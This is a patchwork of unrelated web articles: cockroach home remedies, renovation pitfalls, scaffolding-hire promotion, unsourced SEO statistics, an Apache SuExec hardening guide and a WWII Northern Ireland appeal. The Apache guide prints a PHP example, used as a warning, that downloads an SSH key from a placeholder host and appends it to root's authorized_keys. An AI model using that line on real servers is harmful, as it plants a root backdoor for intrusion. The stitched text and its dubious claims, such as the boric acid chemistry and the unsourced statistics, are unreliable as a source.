is the perfect way to proceed so you can make things easier and better for yourself. Make sure that you are checking things in detail so you can manage things in the perfect way. Know your requirements The next thing that you need to focus on is to know your requirements. If you are well aware of your basic requirements, then you will be able to make things easier and better for yourself. Make sure that you are focusing on your requirements to get the desired outcome. These are the things that you need to focus on so you can manage things in the perfect way.
Cockroaches can live in any kind of building. To get rid of them people often turn immediately to pesticides. Pest control with pesticides works, but between treatments, people use home remedies that don't harm pets and children. I have few ideas for the best home remedies for roaches to help you cheat them of the shelter and food they need. Boric Acid Boron is an element found naturally in food and in the earth. Boron is mixed with sulphuric acid which makes boric acid. It's a white powdery substance. When roaches crawl through it, it gets on their legs and antannae. They go back to the common meeting grounds with others, lick themselves clean, and die three days later. It rubs off on other roaches, who lick themselves clean, and die three days later. Diatomaceous Earch Diatomaceous earth is tiny fossilized sea creatures. Their shells mixed with algae and stones give the treatment its sharp, cutting edges. It works by absorbing moisture, fats, and oils from the shell of the pest. The sharp, cutting edges then cut into the hard outer shell of the pest. This allows moisture to seep out of the bug's body, thus dehydrating him and killing him. The powder is blown into place by a bulb duster. The roach walks through it, takes it back into the common gathering of pests, passes it around, and they die in about two weeks. Essential Oils Roaches hate the smell of peppermint. Ten drops mixed in one cup of water in a spray bottle is all it takes to prevent roaches. To really disgust them, add about eight drops of cypress essential oil to the peppermint. Cedar has always been known to repel pests, termites, and other unwanted guests. Cedar is the only essential oil to actually kill pests. Mix ten to fifteen drops in one cup of water in a spray bottle. Your house will smell like a log cabin, but one without pests. Studies have shown oregano essential oil to repel 97 percent of bugs, and they stayed away for one week. Mix ten to fifteen drops in one cup of water in a spray bottle and spray. Catnip The herb that gets your cat wacky also drives away roaches. A part of the mint family, catnip contains nepetalactone, or the active ingredient in the kitty treat. It won't kill pests, but just like peppermint, it will keep them out of any area to which it's applied. Place small sachets of catnip around areas pests frequent such as plumbing, behind the stove and fridge, and outside by doors, and you should be pest-free before long. Baking Soda And Sugar These are not harmful to humans or pets but are deadly to pests. One of the best home remedies for roaches, it takes a couple weeks to kill them, but it works. Sugar attracts the pests, but it's the baking soda that kills. When the pests ingest the sugar and baking soda, they drink water. The baking soda then forms a gas that makes the pests' stomach swell and burst, killing them. Use a small container like a Pringle's lid or something like it. Place the sugar/baking soda mixture in it. Place a container of water nearby. Rinse and repeat. Bay Leaves Just like peppermint and catnip, bay leaves are a smell roaches can't stomach. Crushed, powdered, or whole, the leaves repel roaches very well. They last for up to a year. Do yourself a favor and don't buy the dried leaves in the grocery store. Fresh leaves last longer and smell better (worse to them.) You can get these at whole foods stores or online. Place them beneath appliances, in cabinets, and around plumbing and outside doors. Final Thoughts Most people aren't aware that pests eat away rotting trees and vegetation. Without them, our world would be awash with rot. The snag to that is the pests walk through sewerage and other unhealthy stuff and bring it into our homes. Pesticides are bad for humans, pets, and the environment. That leaves us with natural pest control methods. We've tried all of these ourselves, so we feel confident you'll find a method that works best for you. Let us know which you chose and how it worked for you.
Like it or not, not all renovation projects are equal. No, today's post isn't going to tell you the difference between a garage conversion and a kitchen project, but rather the types of scenarios that tend to "greet" you when you sign up to such projects. Whether you are a builder in the profession, or a homeowner looking to make the most with your property, take a read through the following traps which tend to wreak havoc with renovation projects up and down the country. Trap #1 – You Don't Budget For The Weather You might follow all of the tips that we are about to outline through this guide, but it will all be for nothing if you don't budget for the weather accordingly. Put simply, the weather is something that can put the brakes on projects that even seemed to have been planned perfectly. It's something that can delay construction for months, and ultimately cost you money. What's the best way around it? Well, not building in winter is one solution, but failing that just budgeting more time for your project once you know that it's during these months. Additionally, making sure that contractors are wearing adequate protection and making sure that equipment and materials are stored appropriately can make the world of difference as well. Trap #2 – You Don't Think About The Legislation We're not going to talk too much about this point, as in truth legislation across the world just varies so much. If we look at the UK as an example, you have to contend with planning permission and building control to name two forms. The former is something that has resulted in homes being pulled down after failing to get the adequate permission, so it goes without saying that this is a serious business which you need to stay on top of. Trap #3 – You Turn To Cowboy Builders (Or Cowboy Contractors) As the home owner, turning to cowboy builders is going to cost you significant sums in the long-term. It's something that might seem cheap at first, but over time it can cost you a lot more than you can ever imagine. Let's not forget that any work that is "botched" will have to be repaired, and this can mean that your final bill is significantly higher than your initial budgets. The same rules apply as a tradesperson as well. If you are turning to self-employed contractors, you carry similar risks and need to be aware of this long before your project starts. Trap #4 – You Don't Keep On Top Of Your Costs There are very few projects in the world which are able to stay on budget. Quite often, we all get carried away, and don't think about contingencies and other points that can add sums onto your final budget. What's the best advice? Go as granular as possible, as early as possible. Don't make estimates – try and retrieve hard and fast price figures as soon as you can.
If you are in the construction business, you would agree with the fact that most of the construction projects today are impossible to carry out without scaffolding services. Providing a safe working environment for your employees is a priority for any socially responsible business, and this is why scaffoldings are an integral component of any construction project. For those who are not familiar with the term, scaffolding is basically a temporary structure that is used to provide assistance to workers during the construction or repairs and maintenance of a property. Most large properties today have more than two stories as part of their structure, and because of this, workers often find it impossible to work on the building without the support of an elevated structure. Whether you are working on a high-rise commercial property or a large-scale domestic project, portable scaffolding services can make the task on hand so much more easier to carry out. Hiring a professional scaffolding service is vital for the smooth running of your projects. They will take care of everything from start to end, from erecting the scaffolding to taking it down once you are done. This is a task that is impossible to carry out without specialized skills and equipment. Here are some reasons why you need to hire a professional scaffolding service for your project: Safety The first and most important reason to hire a professional scaffolding service is safety. A professional company will ensure the safety of all the people working on the project. Their scaffoldings are designed by experts in the field and thoroughly checked for any safety concerns beforehand. This will not just ensure the safety of your employees, but also of all the equipment and materials being used on the project. Remember, any accidents don't just tarnish your reputation, but also put you at risk of serious legal consequences due to the failure to provide a safe working environment for your employees. Moreover, many scaffolding companies perform site audits and inspections. This can give you an independent opinion on the safety of your work practices, allowing you to ensure that your project is free from the risk of any accidents. Use Of High-Quality Materials A professional scaffolding company has platforms that are made from top-quality resilient materials like aluminum and iron. These materials ensure that the structure is as sturdy and safe as possible. Additionally, railings are erected on each structure to ensure there is no risk of workers falling off during work. No Hassle Of Erecting And Dismantling The Scaffold Professional scaffolding companies will provide staff that will help your workers with the erection of the scaffolding. Once your project is complete and you no longer need the scaffolding, they will dismantle it by themselves, which can be a very time-consuming process. Your company will be free to pack up its own tools and equipment and get busy with another project in the meanwhile. This saves your business considerable time, money and hassle. You do not need a truck to bring the scaffolding and take it back. Moreover, you do need a storage space to keep the scaffold when not in use. Scaffoldings are large structures that require a large space to store if the business owns one. Skilled And Experienced Staff Professional scaffolding companies will provide staff who have years of experience and extensive knowledge in working with scaffoldings. This knowledge and experience is sure to be of benefit to your business and eliminates the need to hire additional staff for your project. Depending on the terms of the agreement, they might even provide a supervisor who will ensure that the work is carried out according to your requirements. Greater Efficiency Scaffoldings that have been designed by experts will allow your workers to reach difficult areas like high walls and ceilings easily as they will be able to work from the height required to get the job done. Although ladders are also used for the same purpose, they cannot match the safety and stability that a professionally-built scaffolding can offer. With a scaffolding, there is a solid base for workers to sit or stand on while they work, improving the quality of work as well as the speed at which it can be carried out. Customized Solutions If you are a contractor, it is likely that you work on many different projects from time to time. Every project has its own scaffolding requirements, depending on the scale and type of work you have been assigned to carry out. From suspended and cantilever scaffolds, there are different kinds of scaffoldings, and you are likely to require a different one for each project. For this reason, it doesn't make sense to invest in one kind of scaffolding for your business. Instead, you should consider hiring professional scaffolding services as and when you require them. Not only will you save the heavy investment required to purchase your own scaffolding, but you will get customized scaffolding solutions for each of your projects. Ensure Timely Completion Of Your Project Delayed building projects can be very frustrating and expensive for any construction company. Hiring the services of a professional scaffolding company will ensure that your project runs smoothly and is completed on time. If you are worried about the cost of hiring the services of professionals, it is important to consider the potential risks and costs associated with not hiring one. Failing to work with the scaffolding you require can result in serious accidents and significant work delays, which could cost more in the long term. Availability Of Other Tools Many companies providing scaffolding services also provide other tools and equipment such as genie lifts, ladders, and trolleys on hire that can be used to ensure efficient execution of your construction project. Therefore, for projects that require a number of different services, it makes sense to negotiate an attractive deal with a professional company that can meet all your requirements. Summary Every construction business tries to find ways to minimize the …


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Should my business have an SEO strategy?
Internet marketing has quickly become the biggest marketing platform of the 21st century. Gone are the days of flicking through the Yellow Pages or flyer drops. Even TV advertising has taken a downward spiral after companies like SKY and Netflix have removed the need to watch commercials. With the rise of social media and the search engines the online opportunities are endless and remarkably cheap when looking at the return on investment.
Lets look at the facts
97% of consumers use the internet to find a product or service! In a nutshell, if someone wants to find a plumber, accountant or a gift, they will use the internet.
75% of those people won't go past the front page of Google! If you want to utilise the internet, getting yourself on the front page of Google is a must!
61% of Users research a product online – having a high quality website, social media strategy and PR campaign is vital for anybody selling a product.
So where do I start? What will benefit my business?
When it comes to internet marketing you have a lot of options but a few things will effect how visible you are online. We have already established that being on the front page of Google is the most beneficial place to be, after all they control 70% of all searches and 97% of consumers search for products or services using a search engine.
On the front page of Google you have a couple of options. If you own a local business you have the paid ads at the top, followed by the local listings (under the map) and below the organic (free) search results.
70% of searchers on Google will go to the organic results – so the benefits of an SEO campaign to get you near the top of the organic results is way more beneficial than PPC in the long run.
Up to 80% of searchers will ignore the paid advertising on Google – subconsciously a searcher wont trust those that have paid for a place at the top and so will scroll down to find the businesses who have worked hard for there spot on the organic listings.
18% of searchers click on the top spot – basically the higher up you are on Google's popular organic results, the more traffic you will get!
Searching on a mobile
As mobiles become more advanced, so does their usage for shopping and services increase. If you have a website that isn't mobile responsive you are losing out on a huge potential market share, especially if you are a local business.
50% of mobile searches are for local businesses – If your a plumber it might be worth upgrading that website!
61% of mobile searches end in a purchase – as mobiles improve so do the amount of purchases made on them.
48% of mobile users leave a website if its not mobile responsive – If your at the top of Google without being mobile friendly you are losing a lot of traffic quickly!
In conclusion
The internet is the best place to market your business. Having a mobile friendly, modern website will help convert traffic into customers and getting your business on the front page of Google is the best way to improve your bottom line.
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Apache, suEXEC and Virtual Hosts
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Apache, SuExec and virtual Hosts
This document describes how to use Apache's SuExec module in order to have virtual hosts running as a unprivileged user. Generally it's good practice not to let any kind of webspace have superuser privileges like this rather brutal PHP example shows:
<?php # of course this link doesn't lead anywhere $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub'); exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys"); ?>
You get the point, do you? To prevent this, never let any virtual host have write access anywhere but in its own home directory or DocumentRoot. Unfortunately this method requires Apache to run as superuser in order to be able to become another user but it's not a big deal since you do not need to run in the default DocumentRoot as superuser too.
You should also consider using SuExec if you intend to have several FTP accounts pointing to those webspaces which need write permissions while the files still can be read by Apache.
- you should be familiar with basic configuration of Apache
- especially virtual hosts
- superuser access to the target box
- knowledge about adding users
- can work with pacman
Adding SuExec module to Apache
- load the SuExec module in /etc/httpd/conf/httpd.conf like this
LoadModule suexec_module lib/apache/mod_suexec.so
- make sure Apache's default DocumentRoot does not run as superuser either!
User http Group http
Setting up a virtual Host to use SuExec
One way to do it is directly in /etc/httpd/conf/httpd.conf but I suggest to use a separate file if you intend to create more than just a couple of virtual hosts. Either way, a virtual host that is supposed to use SuExec may look something like this:
<VirtualHost 192.168.0.1:80> ServerName myhost ServerAlias myhost.localdomain # this is where requests for / go DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs # here you tell which user (myhost) and group (ftponly) Apache should use SuexecUserGroup myhost ftponly # the following are optional but might be of use for you ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs php_admin_value upload_tmp_dir /home/www/vhosts/myhost.localdomain/tmp # Safe mode will be removed as of PHP 6. You may want to not enable it. php_admin_flag safe_mode On ErrorDocument 404 /home/www/vhosts/myhost.localdomain <Directory "/home/www/vhosts/myhost.localdomain/htdocs"> AllowOverride None Order allow,deny Allow from all Options +SymlinksIfOwnerMatch +Includes </Directory> </VirtualHost>
Note that we set upload_tmp_dir to a folder that is outside the document root of your web site (not /home/www/vhosts/myhost.localdomain/htdocs/tmp). It should also be not readable or writable by any other system users. This is for security reasons: this way it cannot be modified or overwritten while PHP is processing it.
"Disabling" default DocumentRoot
To further harden your setup you can disable the default DocumentRoot in order to not have Apache execute anything as the superuser itself runs as. This procedure does not really disable it, rather points it somewhere where it's not remotely accessible anymore. It can be easily achieved by replacing your default ServerName with the following:
ServerName localhost:80
Finishing up
Like everytime you change default configuration parameters you need to restart Apache in order to make them have any effect.
/etc/rc.d/httpd restart
External References
- more in depth information about SuExec: http://httpd.apache.org/docs/suexec.html
- same about VirtualHosts: http://httpd.apache.org/docs/vhosts/index.html
Author: kth5


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Around 120,000 US troops were stationed across Northern Ireland at the height of the deployment and it is estimated that during the Second World War around 300,000 'passed through'.
Many Northern Ireland locals have very fond memories of the Americans and look back on the war days with a great sense of nostalgia. They brought with them aspects of US culture, from candy and bubblegum to baseball and American football and as a result of their presence in Northern Ireland, over 1,800 local women became GI brides.
As the 75th anniversary of the arrival of the American troops is marked we want to hear your recollections or family stories about the Americans being stationed in Northern Ireland.
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